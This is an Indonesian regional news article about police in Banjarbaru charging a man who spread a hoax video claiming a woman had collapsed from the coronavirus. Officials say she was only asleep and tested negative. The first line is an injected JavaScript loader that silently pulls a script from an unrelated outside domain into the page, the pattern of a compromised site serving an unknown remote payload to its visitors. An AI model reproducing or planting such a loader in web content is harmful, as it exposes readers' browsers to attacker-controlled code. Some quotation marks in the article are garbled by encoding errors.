(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Resor Banjarbaru telah menetapkan BZ (27) sebagai pelaku penyebaran video hoax seorang perempuan korban virus corona yang tergeletak di halaman rumah pada Jum’at (27/3/2020) kemarin. Kabar terbarunya, warga jalan Bumi Berkat, Kelurahan Sungai Besar, Kecamatan Banjarbaru Selatan tersebut kini sudah dijenguk oleh pihak keluarga.
Kasubbag Humas Polres Banjarbaru AKP Siti Rohayati mengatakan, saat ini kondisi BZ telah dinyatakan sehat, meskipun sebelumnya sempat mengalami syok. Ia juga mengungkapkan bahwa pelaku telah menyesali perbuatannya.
“Saat kita amankan kemarin, pelaku sempat down. Dia tidak menyangka karena perbuatannya merekam video dan menyebarkan informasi yang tidak benar, justru akibatnya berurusan dengan pihak kepolisian. Pihak keluarga sudah datang menjenguk tadi malam,†tutur AKP Siti.
BZ, pria penyebar video hoax saat diamankan polisi. Foto: rico
Seperti yang diberitakan sebelumnya, BZ telah menyebar video hoaks yang viral di grup WhatsApp dan media sosial. Dimana dalam video tersebut, BZ menyampaikan infromasi bahwa “ada seseorang yang terkena virus corona dan diamankan anggota Polsek Banjarbaru Kotaâ€Â.
Padahal, faktanya sosok perempuan yang tergeletak di depan halaman rumah itu hanyalah tertidur saja. Dinas Kesehatan juga memastikan bahwa perempuan tersebut dinyatakan negatif terpapar virus corona, setelah melalui pemeriksaan suhu tubuh.
Saat ditanya mengapa bisa tertidur di halaman rumah, Kapolres Banjarbaru AKBP Doni Hadi Santoso menjelaskan, perempuan tersebut tengah dalam kondisi depresi dan gangguan psikis lantaran adanya permasalahan keluarga.
“Sudah kita antar ke rumah pada Jumat kemarin. Kondisi perempuan tersebut semakin membaik setelah kita lakukan pendampingan,†kata AKBP Doni.
Atas tindakan menyebar video yang terindikasi adalah informasi hoaks, BZ disangkakan dengan UU ITE sebagaimana dimaksud dalam pasal 14 ayat 2 dan atau pasal 15 UU RI Nomor 1 Tahun 1946 tentang peraturan hukum pidana terhadap pelaku penyebar berita bohong/hoax dengan ancaman hukuman 3 Tahun Penjara. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
This website uses cookies.